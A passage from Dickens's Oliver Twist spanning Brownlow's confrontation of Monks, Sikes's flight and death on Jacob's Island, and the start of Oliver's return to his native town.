new friends. This circumstance, at least, +you know already.' + +'Not I,' said Monks, turning away his eyes and beating his foot +upon the ground, as a man who is determined to deny everything. +'Not I.' + +'Your manner, no less than your actions, assures me that you have +never forgotten it, or ceased to think of it with bitterness,' +returned Mr. Brownlow. 'I speak of fifteen years ago, when you +were not more than eleven years old, and your father but +one-and-thirty--for he was, I repeat, a boy, when _his_ father +ordered him to marry. Must I go back to events which cast a shade +upon the memory of your parent, or will you spare it, and +disclose to me the truth?' + +'I have nothing to disclose,' rejoined Monks. 'You must talk on +if you will.' + +'These new friends, then,' said Mr. Brownlow, 'were a naval +officer retired from active service, whose wife had died some +half-a-year before, and left him with two children--there had +been more, but, of all their family, happily but two survived. +They were both daughters; one a beautiful creature of nineteen, +and the other a mere child of two or three years old.' + +'What's this to me?' asked Monks. + +'They resided,' said Mr. Brownlow, without seeming to hear the +interruption, 'in a part of the country to which your father in +his wandering had repaired, and where he had taken up his abode. +Acquaintance, intimacy, friendship, fast followed on each other. +Your father was gifted as few men are. He had his sister's soul +and person. As the old officer knew him more and more, he grew +to love him. I would that it had ended there. His daughter did +the same.' + +The old gentleman paused; Monks was biting his lips, with his +eyes fixed upon the floor; seeing this, he immediately resumed: + +'The end of a year found him contracted, solemnly contracted, to +that daughter; the object of the first, true, ardent, only +passion of a guileless girl.' + +'Your tale is of the longest,' observed Monks, moving restlessly +in his chair. + +'It is a true tale of grief and trial, and sorrow, young man,' +returned Mr. Brownlow, 'and such tales usually are; if it were +one of unmixed joy and happiness, it would be very brief. At +length one of those rich relations to strengthen whose interest +and importance your father had been sacrificed, as others are +often--it is no uncommon case--died, and to repair the misery he +had been instrumental in occasioning, left him his panacea for +all griefs--Money. It was necessary that he should immediately +repair to Rome, whither this man had sped for health, and where +he had died, leaving his affairs in great confusion. He went; +was seized with mortal illness there; was followed, the moment +the intelligence reached Paris, by your mother who carried you +with her; he died the day after her arrival, leaving no will--_no will_ +--so that the whole property fell to her and you.' + +At this part of the recital Monks held his breath, and listened +with a face of intense eagerness, though his eyes were not +directed towards the speaker. As Mr. Brownlow paused, he changed +his position with the air of one who has experienced a sudden +relief, and wiped his hot face and hands. + +'Before he went abroad, and as he passed through London on his +way,' said Mr. Brownlow, slowly, and fixing his eyes upon the +other's face, 'he came to me.' + +'I never heard of that,' interrupted MOnks in a tone intended to +appear incredulous, but savouring more of disagreeable surprise. + +'He came to me, and left with me, among some other things, a +picture--a portrait painted by himself--a likeness of this poor +girl--which he did not wish to leave behind, and could not carry +forward on his hasty journey. He was worn by anxiety and remorse +almost to a shadow; talked in a wild, distracted way, of ruin and +dishonour worked by himself; confided to me his intention to +convert his whole property, at any loss, into money, and, having +settled on his wife and you a portion of his recent acquisition, +to fly the country--I guessed too well he would not fly +alone--and never see it more. Even from me, his old and early +friend, whose strong attachment had taken root in the earth that +covered one most dear to both--even from me he withheld any more +particular confession, promising to write and tell me all, and +after that to see me once again, for the last time on earth. +Alas! _That_ was the last time. I had no letter, and I never saw +him more.' + +'I went,' said Mr. Brownlow, after a short pause, 'I went, when +all was over, to the scene of his--I will use the term the world +would freely use, for worldly harshness or favour are now alike +to him--of his guilty love, resolved that if my fears were +realised that erring child should find one heart and home to +shelter and compassionate her. The family had left that part a +week before; they had called in such trifling debts as were +outstanding, discharged them, and left the place by night. Why, +or whither, none can tell.' + +Monks drew his breath yet more freely, and looked round with a +smile of triumph. + +'When your brother,' said Mr. Brownlow, drawing nearer to the +other's chair, 'When your brother: a feeble, ragged, neglected +child: was cast in my way by a stronger hand than chance, and +rescued by me from a life of vice and infamy--' + +'What?' cried Monks. + +'By me,' said Mr. Brownlow. 'I told you I should interest you +before long. I say by me--I see that your cunning associate +suppressed my name, although for ought he knew, it would be quite +strange to your ears. When he was rescued by me, then, and lay +recovering from sickness in my house, his strong resemblance to +this picture I have spoken of, struck me with astonishment. Even +when I first saw him in all his dirt and misery, there was a +lingering expression in his face that came upon me like a glimpse +of some old friend flashing on one in a vivid dream. I need not +tell you he was snared away before I knew his history--' + +'Why not?' asked Monks hastily. + +'Because you know it well.' + +'I!' + +'Denial to me is vain,' replied Mr. Brownlow. 'I shall show you +that I know more than that.' + +'You--you--can't prove anything against me,' stammered Monks. 'I +defy you to do it!' + +'We shall see,' returned the old gentleman with a searching +glance. 'I lost the boy, and no efforts of mine could recover +him. Your mother being dead, I knew that you alone could solve +the mystery if anybody could, and as when I had last heard of you +you were on your own estate in the West Indies--whither, as you +well know, you retired upon your mother's death to escape the +consequences of vicious courses here--I made the voyage. You had +left it, months before, and were supposed to be in London, but no +one could tell where. I returned. Your agents had no clue to +your residence. You came and went, they said, as strangely as +you had ever done: sometimes for days together and sometimes not +for months: keeping to all appearance the same low haunts and +mingling with the same infamous herd who had been your associates +when a fierce ungovernable boy. I wearied them with new +applications. I paced the streets by night and day, but until +two hours ago, all my efforts were fruitless, and I never saw you +for an instant.' + +'And now you do see me,' said Monks, rising boldly, 'what then? +Fraud and robbery are high-sounding words--justified, you think, +by a fancied resemblance in some young imp to an idle daub of a +dead man's Brother! You don't even know that a child was born of +this maudlin pair; you don't even know that.' + +'I _did not_,' replied Mr. Brownlow, rising too; 'but within the +last fortnight I have learnt it all. You have a brother; you +know it, and him. There was a will, which your mother destroyed, +leaving the secret and the gain to you at her own death. It +contained a reference to some child likely to be the result of +this sad connection, which child was born, and accidentally +encountered by you, when your suspicions were first awakened by +his resemblance to your father. You repaired to the place of his +birth. There existed proofs--proofs long suppressed--of his birth +and parentage. Those proofs were destroyed by you, and now, in +your own words to your accomplice the Jew, "_the only proofs of the +boy's identity lie at the bottom of the river, and the old hag +that received them from the mother is rotting in her coffin_." +Unworthy son, coward, liar,--you, who hold your councils with +thieves and murderers in dark rooms at night,--you, whose plots +and wiles have brought a violent death upon the head of one worth +millions such as you,--you, who from your cradle were gall and +bitterness to your own father's heart, and in whom all evil +passions, vice, and profligacy, festered, till they found a vent +in a hideous disease which had made your face an index even to +your mind--you, Edward Leeford, do you still brave me!' + +'No, no, no!' returned the coward, overwhelmed by these +accumulated charges. + +'Every word!' cried the gentleman, 'every word that has passed +between you and this detested villain, is known to me. Shadows +on the wall have caught your whispers, and brought them to my +ear; the sight of the persecuted child has turned vice itself, +and given it the courage and almost the attributes of virtue. +Murder has been done, to which you were morally if not really a +party.' + +'No, no,' interposed Monks. 'I--I knew nothing of that; I was +going to inquire the truth of the story when you overtook me. I +didn't know the cause. I thought it was a common quarrel.' + +'It was the partial disclosure of your secrets,' replied Mr. +Brownlow. 'Will you disclose the whole?' + +'Yes, I will.' + +'Set your hand to a statement of truth and facts, and repeat it +before witnesses?' + +'That I promise too.' + +'Remain quietly here, until such a document is drawn up, and +proceed with me to such a place as I may deem most advisable, for +the purpose of attesting it?' + +'If you insist upon that, I'll do that also,' replied Monks. + +'You must do more than that,' said Mr. Brownlow. 'Make +restitution to an innocent and unoffending child, for such he is, +although the offspring of a guilty and most miserable love. You +have not forgotten the provisions of the will. Carry them into +execution so far as your brother is concerned, and then go where +you please. In this world you need meet no more.' + +While Monks was pacing up and down, meditating with dark and evil +looks on this proposal and the possibilities of evading it: torn +by his fears on the one hand and his hatred on the other: the +door was hurriedly unlocked, and a gentleman (Mr. Losberne) +entered the room in violent agitation. + +'The man will be taken,' he cried. 'He will be taken to-night!' + +'The murderer?' asked Mr. Brownlow. + +'Yes, yes,' replied the other. 'His dog has been seen lurking +about some old haunt, and there seems little doubt that his master +either is, or will be, there, under cover of the darkness. Spies +are hovering about in every direction. I have spoken to the men +who are charged with his capture, and they tell me he cannot +escape. A reward of a hundred pounds is proclaimed by Government +to-night.' + +'I will give fifty more,' said Mr. Brownlow, 'and proclaim it +with my own lips upon the spot, if I can reach it. Where is Mr. +Maylie?' + +'Harry? As soon as he had seen your friend here, safe in a coach +with you, he hurried off to where he heard this,' replied the +doctor, 'and mounting his horse sallied forth to join the first +party at some place in the outskirts agreed upon between them.' + +'Fagin,' said Mr. Brownlow; 'what of him?' + +'When I last heard, he had not been taken, but he will be, or is, +by this time. They're sure of him.' + +'Have you made up your mind?' asked Mr. Brownlow, in a low voice, +of Monks. + +'Yes,' he replied. 'You--you--will be secret with me?' + +'I will. Remain here till I return. It is your only hope of +safety.' + +They left the room, and the door was again locked. + +'What have you done?' asked the doctor in a whisper. + +'All that I could hope to do, and even more. Coupling the poor +girl's intelligence with my previous knowledge, and the result of +our good friend's inquiries on the spot, I left him no loophole +of escape, and laid bare the whole villainy which by these lights +became plain as day. Write and appoint the evening after +to-morrow, at seven, for the meeting. We shall be down there, a +few hours before, but shall require rest: especially the young +lady, who _may_ have greater need of firmness than either you or I +can quite foresee just now. But my blood boils to avenge this +poor murdered creature. Which way have they taken?' + +'Drive straight to the office and you will be in time,' replied +Mr. Losberne. 'I will remain here.' + +The two gentlemen hastily separated; each in a fever of +excitement wholly uncontrollable. + + + + +CHAPTER L + +THE PURSUIT AND ESCAPE + +Near to that part of the Thames on which the church at +Rotherhithe abuts, where the buildings on the banks are dirtiest +and the vessels on the river blackest with the dust of colliers +and the smoke of close-built low-roofed houses, there exists the +filthiest, the strangest, the most extraordinary of the many +localities that are hidden in London, wholly unknown, even by +name, to the great mass of its inhabitants. + +To reach this place, the visitor has to penetrate through a maze +of close, narrow, and muddy streets, thronged by the roughest and +poorest of waterside people, and devoted to the traffic they may +be supposed to occasion. The cheapest and least delicate +provisions are heaped in the shops; the coarsest and commonest +articles of wearing apparel dangle at the salesman's door, and +stream from the house-parapet and windows. Jostling with +unemployed labourers of the lowest class, ballast-heavers, +coal-whippers, brazen women, ragged children, and the raff and +refuse of the river, he makes his way with difficulty along, +assailed by offensive sights and smells from the narrow alleys +which branch off on the right and left, and deafened by the clash +of ponderous waggons that bear great piles of merchandise from +the stacks of warehouses that rise from every corner. Arriving, +at length, in streets remoter and less-frequented than those +through which he has passed, he walks beneath tottering +house-fronts projecting over the pavement, dismantled walls that +seem to totter as he passes, chimneys half crushed half +hesitating to fall, windows guarded by rusty iron bars that time +and dirt have almost eaten away, every imaginable sign of +desolation and neglect. + +In such a neighborhood, beyond Dockhead in the Borough of +Southwark, stands Jacob's Island, surrounded by a muddy ditch, +six or eight feet deep and fifteen or twenty wide when the tide +is in, once called Mill Pond, but known in the days of this story +as Folly Ditch. It is a creek or inlet from the Thames, and can +always be filled at high water by opening the sluices at the Lead +Mills from which it took its old name. At such times, a +stranger, looking from one of the wooden bridges thrown across it +at Mill Lane, will see the inhabitants of the houses on either +side lowering from their back doors and windows, buckets, pails, +domestic utensils of all kinds, in which to haul the water up; +and when his eye is turned from these operations to the houses +themselves, his utmost astonishment will be excited by the scene +before him. Crazy wooden galleries common to the backs of half a +dozen houses, with holes from which to look upon the slime +beneath; windows, broken and patched, with poles thrust out, on +which to dry the linen that is never there; rooms so small, so +filthy, so confined, that the air would seem too tainted even for +the dirt and squalor which they shelter; wooden chambers +thrusting themselves out above the mud, and threatening to fall +into it--as some have done; dirt-besmeared walls and decaying +foundations; every repulsive lineament of poverty, every +loathsome indication of filth, rot, and garbage; all these +ornament the banks of Folly Ditch. + +In Jacob's Island, the warehouses are roofless and empty; the +walls are crumbling down; the windows are windows no more; the +doors are falling into the streets; the chimneys are blackened, +but they yield no smoke. Thirty or forty years ago, before +losses and chancery suits came upon it, it was a thriving place; +but now it is a desolate island indeed. The houses have no +owners; they are broken open, and entered upon by those who have +the courage; and there they live, and there they die. They must +have powerful motives for a secret residence, or be reduced to a +destitute condition indeed, who seek a refuge in Jacob's Island. + +In an upper room of one of these houses--a detached house of fair +size, ruinous in other respects, but strongly defended at door +and window: of which house the back commanded the ditch in +manner already described--there were assembled three men, who, +regarding each other every now and then with looks expressive of +perplexity and expectation, sat for some time in profound and +gloomy silence. One of these was Toby Crackit, another Mr. +Chitling, and the third a robber of fifty years, whose nose had +been almost beaten in, in some old scuffle, and whose face bore a +frightful scar which might probably be traced to the same +occasion. This man was a returned transport, and his name was +Kags. + +'I wish,' said Toby turning to Mr. Chitling, 'that you had picked +out some other crib when the two old ones got too warm, and had +not come here, my fine feller.' + +'Why didn't you, blunder-head!' said Kags. + +'Well, I thought you'd have been a little more glad to see me +than this,' replied Mr. Chitling, with a melancholy air. + +'Why, look'e, young gentleman,' said Toby, 'when a man keeps +himself so very ex-clusive as I have done, and by that means has +a snug house over his head with nobody a prying and smelling +about it, it's rather a startling thing to have the honour of a +wisit from a young gentleman (however respectable and pleasant a +person he may be to play cards with at conweniency) circumstanced +as you are.' + +'Especially, when the exclusive young man has got a friend +stopping with him, that's arrived sooner than was expected from +foreign parts, and is too modest to want to be presented to the +Judges on his return,' added Mr. Kags. + +There was a short silence, after which Toby Crackit, seeming to +abandon as hopeless any further effort to maintain his usual +devil-may-care swagger, turned to Chitling and said, + +'When was Fagin took then?' + +'Just at dinner-time--two o'clock this afternoon. Charley and I +made our lucky up the wash-us chimney, and Bolter got into the +empty water-butt, head downwards; but his legs were so precious +long that they stuck out at the top, and so they took him too.' + +'And Bet?' + +'Poor Bet! She went to see the Body, to speak to who it was,' +replied Chitling, his countenance falling more and more, 'and +went off mad, screaming and raving, and beating her head against +the boards; so they put a strait-weskut on her and took her to +the hospital--and there she is.' + +'Wot's come of young Bates?' demanded Kags. + +'He hung about, not to come over here afore dark, but he'll be +here soon,' replied Chitling. 'There's nowhere else to go to +now, for the people at the Cripples are all in custody, and the +bar of the ken--I went up there and see it with my own eyes--is +filled with traps.' + +'This is a smash,' observed Toby, biting his lips. 'There's more +than one will go with this.' + +'The sessions are on,' said Kags: 'if they get the inquest over, +and Bolter turns King's evidence: as of course he will, from +what he's said already: they can prove Fagin an accessory before +the fact, and get the trial on on Friday, and he'll swing in six +days from this, by G--!' + +'You should have heard the people groan,' said Chitling; 'the +officers fought like devils, or they'd have torn him away. He +was down once, but they made a ring round him, and fought their +way along. You should have seen how he looked about him, all +muddy and bleeding, and clung to them as if they were his dearest +friends. I can see 'em now, not able to stand upright with the +pressing of the mob, and draggin him along amongst 'em; I can see +the people jumping up, one behind another, and snarling with +their teeth and making at him; I can see the blood upon his hair +and beard, and hear the cries with which the women worked +themselves into the centre of the crowd at the street corner, and +swore they'd tear his heart out!' + +The horror-stricken witness of this scene pressed his hands upon +his ears, and with his eyes closed got up and paced violently to +and fro, like one distracted. + +While he was thus engaged, and the two men sat by in silence with +their eyes fixed upon the floor, a pattering noise was heard upon +the stairs, and Sikes's dog bounded into the room. They ran to +the window, downstairs, and into the street. The dog had jumped +in at an open window; he made no attempt to follow them, nor was +his master to be seen. + +'What's the meaning of this?' said Toby when they had returned. +'He can't be coming here. I--I--hope not.' + +'If he was coming here, he'd have come with the dog,' said Kags, +stooping down to examine the animal, who lay panting on the +floor. 'Here! Give us some water for him; he has run himself +faint.' + +'He's drunk it all up, every drop,' said Chitling after watching +the dog some time in silence. 'Covered with mud--lame--half +blind--he must have come a long way.' + +'Where can he have come from!' exclaimed Toby. 'He's been to the +other kens of course, and finding them filled with strangers come +on here, where he's been many a time and often. But where can he +have come from first, and how comes he here alone without the +other!' + +'He'--(none of them called the murderer by his old name)--'He +can't have made away with himself. What do you think?' said +Chitling. + +Toby shook his head. + +'If he had,' said Kags, 'the dog 'ud want to lead us away to +where he did it. No. I think he's got out of the country, and +left the dog behind. He must have given him the slip somehow, or +he wouldn't be so easy.' + +This solution, appearing the most probable one, was adopted as +the right; the dog, creeping under a chair, coiled himself up to +sleep, without more notice from anybody. + +It being now dark, the shutter was closed, and a candle lighted +and placed upon the table. The terrible events of the last two +days had made a deep impression on all three, increased by the +danger and uncertainty of their own position. They drew their +chairs closer together, starting at every sound. They spoke +little, and that in whispers, and were as silent and awe-stricken +as if the remains of the murdered woman lay in the next room. + +They had sat thus, some time, when suddenly was heard a hurried +knocking at the door below. + +'Young Bates,' said Kags, looking angrily round, to check the +fear he felt himself. + +The knocking came again. No, it wasn't he. He never knocked +like that. + +Crackit went to the window, and shaking all over, drew in his +head. There was no need to tell them who it was; his pale face +was enough. The dog too was on the alert in an instant, and ran +whining to the door. + +'We must let him in,' he said, taking up the candle. + +'Isn't there any help for it?' asked the other man in a hoarse +voice. + +'None. He _must_ come in.' + +'Don't leave us in the dark,' said Kags, taking down a candle +from the chimney-piece, and lighting it, with such a trembling +hand that the knocking was twice repeated before he had finished. + +Crackit went down to the door, and returned followed by a man +with the lower part of his face buried in a handkerchief, and +another tied over his head under his hat. He drew them slowly +off. Blanched face, sunken eyes, hollow cheeks, beard of three +days' growth, wasted flesh, short thick breath; it was the very +ghost of Sikes. + +He laid his hand upon a chair which stood in the middle of the +room, but shuddering as he was about to drop into it, and seeming +to glance over his shoulder, dragged it back close to the +wall--as close as it would go--and ground it against it--and sat +down. + +Not a word had been exchanged. He looked from one to another in +silence. If an eye were furtively raised and met his, it was +instantly averted. When his hollow voice broke silence, they all +three started. They seemed never to have heard its tones before. + +'How came that dog here?' he asked. + +'Alone. Three hours ago.' + +'To-night's paper says that Fagin's took. Is it true, or a lie?' + +'True.' + +They were silent again. + +'Damn you all!' said Sikes, passing his hand across his forehead. + +'Have you nothing to say to me?' + +There was an uneasy movement among them, but nobody spoke. + +'You that keep this house,' said Sikes, turning his face to +Crackit, 'do you mean to sell me, or to let me lie here till this +hunt is over?' + +'You may stop here, if you think it safe,' returned the person +addressed, after some hesitation. + +Sikes carried his eyes slowly up the wall behind him: rather +trying to turn his head than actually doing it: and said, +'Is--it--the body--is it buried?' + +They shook their heads. + +'Why isn't it!' he retorted with the same glance behind him. +'Wot do they keep such ugly things above the ground for?--Who's +that knocking?' + +Crackit intimated, by a motion of his hand as he left the room, +that there was nothing to fear; and directly came back with +Charley Bates behind him. Sikes sat opposite the door, so that +the moment the boy entered the room he encountered his figure. + +'Toby,' said the boy falling back, as Sikes turned his eyes +towards him, 'why didn't you tell me this, downstairs?' + +There had been something so tremendous in the shrinking off of +the three, that the wretched man was willing to propitiate even +this lad. Accordingly he nodded, and made as though he would +shake hands with him. + +'Let me go into some other room,' said the boy, retreating still +farther. + +'Charley!' said Sikes, stepping forward. 'Don't you--don't you +know me?' + +'Don't come nearer me,' answered the boy, still retreating, and +looking, with horror in his eyes, upon the murderer's face. 'You +monster!' + +The man stopped half-way, and they looked at each other; but +Sikes's eyes sunk gradually to the ground. + +'Witness you three,' cried the boy shaking his clenched fist, and +becoming more and more excited as he spoke. 'Witness you +three--I'm not afraid of him--if they come here after him, I'll +give him up; I will. I tell you out at once. He may kill me for +it if he likes, or if he dares, but if I am here I'll give him +up. I'd give him up if he was to be boiled alive. Murder! +Help! If there's the pluck of a man among you three, you'll help +me. Murder! Help! Down with him!' + +Pouring out these cries, and accompanying them with violent +gesticulation, the boy actually threw himself, single-handed, +upon the strong man, and in the intensity of his energy and the +suddenness of his surprise, brought him heavily to the ground. + +The three spectators seemed quite stupefied. They offered no +interference, and the boy and man rolled on the ground together; +the former, heedless of the blows that showered upon him, +wrenching his hands tighter and tighter in the garments about the +murderer's breast, and never ceasing to call for help with all +his might. + +The contest, however, was too unequal to last long. Sikes had +him down, and his knee was on his throat, when Crackit pulled him +back with a look of alarm, and pointed to the window. There were +lights gleaming below, voices in loud and earnest conversation, +the tramp of hurried footsteps--endless they seemed in +number--crossing the nearest wooden bridge. One man on horseback +seemed to be among the crowd; for there was the noise of hoofs +rattling on the uneven pavement. The gleam of lights increased; +the footsteps came more thickly and noisily on. Then, came a +loud knocking at the door, and then a hoarse murmur from such a +multitude of angry voices as would have made the boldest quail. + +'Help!' shrieked the boy in a voice that rent the air. + +'He's here! Break down the door!' + +'In the King's name,' cried the voices without; and the hoarse +cry arose again, but louder. + +'Break down the door!' screamed the boy. 'I tell you they'll +never open it. Run straight to the room where the light is. +Break down the door!' + +Strokes, thick and heavy, rattled upon the door and lower +window-shutters as he ceased to speak, and a loud huzzah burst +from the crowd; giving the listener, for the first time, some +adequate idea of its immense extent. + +'Open the door of some place where I can lock this screeching +Hell-babe,' cried Sikes fiercely; running to and fro, and +dragging the boy, now, as easily as if he were an empty sack. +'That door. Quick!' He flung him in, bolted it, and turned the +key. 'Is the downstairs door fast?' + +'Double-locked and chained,' replied Crackit, who, with the other +two men, still remained quite helpless and bewildered. + +'The panels--are they strong?' + +'Lined with sheet-iron.' + +'And the windows too?' + +'Yes, and the windows.' + +'Damn you!' cried the desperate ruffian, throwing up the sash and +menacing the crowd. 'Do your worst! I'll cheat you yet!' + +Of all the terrific yells that ever fell on mortal ears, none +could exceed the cry of the infuriated throng. Some shouted to +those who were nearest to set the house on fire; others roared to +the officers to shoot him dead. Among them all, none showed such +fury as the man on horseback, who, throwing himself out of the +saddle, and bursting through the crowd as if he were parting +water, cried, beneath the window, in a voice that rose above all +others, 'Twenty guineas to the man who brings a ladder!' + +The nearest voices took up the cry, and hundreds echoed it. Some +called for ladders, some for sledge-hammers; some ran with +torches to and fro as if to seek them, and still came back and +roared again; some spent their breath in impotent curses and +execrations; some pressed forward with the ecstasy of madmen, and +thus impeded the progress of those below; some among the boldest +attempted to climb up by the water-spout and crevices in the +wall; and all waved to and fro, in the darkness beneath, like a +field of corn moved by an angry wind: and joined from time to +time in one loud furious roar. + +'The tide,' cried the murderer, as he staggered back into the +room, and shut the faces out, 'the tide was in as I came up. +Give me a rope, a long rope. They're all in front. I may drop +into the Folly Ditch, and clear off that way. Give me a rope, or +I shall do three more murders and kill myself.' + +The panic-stricken men pointed to where such articles were kept; +the murderer, hastily selecting the longest and strongest cord, +hurried up to the house-top. + +All the window in the rear of the house had been long ago bricked +up, except one small trap in the room where the boy was locked, +and that was too small even for the passage of his body. But, +from this aperture, he had never ceased to call on those without, +to guard the back; and thus, when the murderer emerged at last on +the house-top by the door in the roof, a loud shout proclaimed +the fact to those in front, who immediately began to pour round, +pressing upon each other in an unbroken stream. + +He planted a board, which he had carried up with him for the +purpose, so firmly against the door that it must be matter of +great difficulty to open it from the inside; and creeping over +the tiles, looked over the low parapet. + +The water was out, and the ditch a bed of mud. + +The crowd had been hushed during these few moments, watching his +motions and doubtful of his purpose, but the instant they +perceived it and knew it was defeated, they raised a cry of +triumphant execration to which all their previous shouting had +been whispers. Again and again it rose. Those who were at too +great a distance to know its meaning, took up the sound; it +echoed and re-echoed; it seemed as though the whole city had +poured its population out to curse him. + +On pressed the people from the front--on, on, on, in a strong +struggling current of angry faces, with here and there a glaring +torch to lighten them up, and show them out in all their wrath +and passion. The houses on the opposite side of the ditch had +been entered by the mob; sashes were thrown up, or torn bodily +out; there were tiers and tiers of faces in every window; cluster +upon cluster of people clinging to every house-top. Each little +bridge (and there were three in sight) bent beneath the weight of +the crowd upon it. Still the current poured on to find some nook +or hole from which to vent their shouts, and only for an instant +see the wretch. + +'They have him now,' cried a man on the nearest bridge. 'Hurrah!' + +The crowd grew light with uncovered heads; and again the shout +uprose. + +'I will give fifty pounds,' cried an old gentleman from the same +quarter, 'to the man who takes him alive. I will remain here, +till he come to ask me for it.' + +There was another roar. At this moment the word was passed among +the crowd that the door was forced at last, and that he who had +first called for the ladder had mounted into the room. The +stream abruptly turned, as this intelligence ran from mouth to +mouth; and the people at the windows, seeing those upon the +bridges pouring back, quitted their stations, and running into +the street, joined the concourse that now thronged pell-mell to +the spot they had left: each man crushing and striving with his +neighbor, and all panting with impatience to get near the door, +and look upon the criminal as the officers brought him out. The +cries and shrieks of those who were pressed almost to +suffocation, or trampled down and trodden under foot in the +confusion, were dreadful; the narrow ways were completely blocked +up; and at this time, between the rush of some to regain the +space in front of the house, and the unavailing struggles of +others to extricate themselves from the mass, the immediate +attention was distracted from the murderer, although the +universal eagerness for his capture was, if possible, increased. + +The man had shrunk down, thoroughly quelled by the ferocity of +the crowd, and the impossibility of escape; but seeing this +sudden change with no less rapidity than it had occurred, he +sprang upon his feet, determined to make one last effort for his +life by dropping into the ditch, and, at the risk of being +stifled, endeavouring to creep away in the darkness and +confusion. + +Roused into new strength and energy, and stimulated by the noise +within the house which announced that an entrance had really been +effected, he set his foot against the stack of chimneys, fastened +one end of the rope tightly and firmly round it, and with the +other made a strong running noose by the aid of his hands and +teeth almost in a second. He could let himself down by the cord +to within a less distance of the ground than his own height, and +had his knife ready in his hand to cut it then and drop. + +At the very instant when he brought the loop over his head +previous to slipping it beneath his arm-pits, and when the old +gentleman before-mentioned (who had clung so tight to the railing +of the bridge as to resist the force of the crowd, and retain his +position) earnestly warned those about him that the man was about +to lower himself down--at that very instant the murderer, looking +behind him on the roof, threw his arms above his head, and +uttered a yell of terror. + +'The eyes again!' he cried in an unearthly screech. + +Staggering as if struck by lightning, he lost his balance and +tumbled over the parapet. The noose was on his neck. It ran up +with his weight, tight as a bow-string, and swift as the arrow it +speeds. He fell for five-and-thirty feet. There was a sudden +jerk, a terrific convulsion of the limbs; and there he hung, with +the open knife clenched in his stiffening hand. + +The old chimney quivered with the shock, but stood it bravely. +The murderer swung lifeless against the wall; and the boy, +thrusting aside the dangling body which obscured his view, called +to the people to come and take him out, for God's sake. + +A dog, which had lain concealed till now, ran backwards and +forwards on the parapet with a dismal howl, and collecting +himself for a spring, jumped for the dead man's shoulders. +Missing his aim, he fell into the ditch, turning completely over +as he went; and striking his head against a stone, dashed out his +brains. + + + + +CHAPTER LI + +AFFORDING AN EXPLANATION OF MORE MYSTERIES THAN ONE, AND +COMPREHENDING A PROPOSAL OF MARRIAGE WITH NO WORD OF SETTLEMENT +OR PIN-MONEY + +The events narrated in the last chapter were yet but two days +old, when Oliver found himself, at three o'clock in the +afternoon, in a travelling-carriage rolling fast towards his +native town. Mrs. Maylie, and Rose, and Mrs. Bedwin, and the +good doctor were with him: and Mr. Brownlow followed in a +post-chaise, accompanied by one other person whose name had not +been mentioned. + +They had not talked much upon the way; for Oliver was in a +flutter of agitation and uncertainty which deprived him of the +power of collecting his thoughts, and almost of speech, and +appeared to have scarcely less effect on his companions, who +shared it, in at least an equal degree. He and the two ladies +had been very carefully made acquainted by Mr. Brownlow with the +nature of the admissions which had been forced from Monks; and +although they knew that the object of their present journey was +to complete the work which had been so well begun, still the +whole matter was enveloped in enough of doubt and mystery to +leave them in endurance of the most intense suspense. + +The same kind friend had, with Mr. Losberne's assistance, +cautiously stopped all channels of communication through which +they could receive intelligence of the dreadful occurrences that +so recently taken place. 'It was quite true,' he said, 'that +they must know them before long, but it might be at a better time +than the present, and it could not be at a worse.' So, they +travelled on in silence: each busied with reflections on the +object which had brought them together: and no one disposed to +give utterance to the thoughts which crowded upon all. + +But if Oliver, under these influences, had remained silent while +they journeyed towards his birth-place by a road he had never +seen, how the whole current of his recollections ran back to old +times, and what a crowd of emotions were wakened up in his +breast, when they turned into that which he had traversed on +foot: a poor houseless, wandering boy, without a friend to help +him, or a roof to shelter his head. + +'See there, there!' cried Oliver, eagerly clasping the hand of +Rose, and pointing out at the carriage window; 'that's the stile +I came over; there are the hedges I crept behind, for fear any +one should overtake me and force me back! Yonder is the path +across the fields, leading to the old house where I was a little +child! Oh Dick, Dick, my dear old friend, if I could only see +you now!' + +'You will see him soon,' replied Rose, gently taking his folded +hands between her own. 'You shall tell him how happy you are, +and how rich you have grown, and that in all your happiness you +have none so great as the coming back to make him happy too.' + +'Yes, yes,' said Oliver, 'and we'll--we'll take him away from +here, and have him clothed and taught, and send him to some quiet +country place where he may grow strong and well,--shall we?' + +Rose nodded 'yes,' for the boy was smiling through such happy +tears that she could not speak. + +'You will be kind and good to him, for you are to every one,' +said Oliver. 'It will make you cry, I know, to hear what he can +tell; but never mind, never mind, it will be all over, and you +will smile again--I know that too--to think how changed he is; +you did the same with me. He said "God bless you" to me when I +ran away,' cried the boy with a burst of affectionate emotion; +'and I will say "God bless you" now, and show him how I love him +for it!' + +As they approached the town, and at length drove through its +narrow streets, it became matter of no small difficulty to +restrain the boy within reasonable bounds. There was +Sowerberry's the undertaker's just as it used to be, only smaller +and less imposing in appearance than he remembered it--there were +all the well-known shops and houses, with almost every one of +which he had some slight incident connected--there was Gamfield's +cart, the very cart he used to have, standing at the old +public-house door--there was the workhouse, the dreary prison of +his youthful days, with its dismal windows frowning on the +street--there was the same lean porter standing at the gate, at +sight of whom Oliver involuntarily shrunk back, and then laughed +at himself for being so foolish, then cried, then laughed +again--there were scores of faces at the doors and windows that +he knew quite well--there was nearly everything as if he had left +it but yesterday, and all his recent life had been but a happy +dream. + +But it was pure, earnest, joyful reality. They drove straight to +the door of the chief hotel (which Oliver used to stare up at, +with awe, and think a mighty palace, but which had somehow fallen +off in grandeur and size); and here was Mr. Grimwig all ready to +receive them, kissing the young lady, and the old one too, when +they got out of the coach, as if he were the grandfather of the +whole party, all smiles and kindness, and not offering to eat his +head--no, not once; not even when he contradicted a very old +postboy about the nearest road to London, and maintained he knew +it best, though he had only come that way once, and that time +fast asleep. There was dinner prepared, and there were bedrooms +ready, and everything was arranged as if by magic. + +Notwithstanding all this, when the hurry of the first half-hour +was over, the same silence and constraint prevailed that had +marked their journey down. Mr. Brownlow did not join them at +dinner, but remained in a separate room. The two other gentlemen +hurried in and out with anxious faces, and, during the short +intervals when they were present, conversed apart. Once, Mrs. +Maylie was called away, and after being absent for nearly an +hour, returned with eyes swollen with weeping. All these things +made Rose and Oliver, who were not in any new secrets, nervous +and uncomfortable. They sat wondering, in silence; or, if they +exchanged a few words, spoke in whispers, as if they were afraid +to hear the sound of their own voices. + +At length, when nine o'clock had come, and they began to think +they were to hear no more that night, Mr. Losberne and Mr. +Grimwig entered the room, followed by Mr. Brownlow and a man whom +Oliver almost shrieked with surprise to see; for they told him it +was his brother, and it was the same man he had met at the +market-town, and seen looking in with Fagin at the window of his +little room. Monks cast a look of hate, which, even then, he +could not dissemble, at the astonished boy, and sat down near the +door. Mr. Brownlow, who had papers in his hand, walked to a +table near which Rose and Oliver were seated. + +'This is a painful task,' said he, 'but these declarations, which +have been signed in London before many 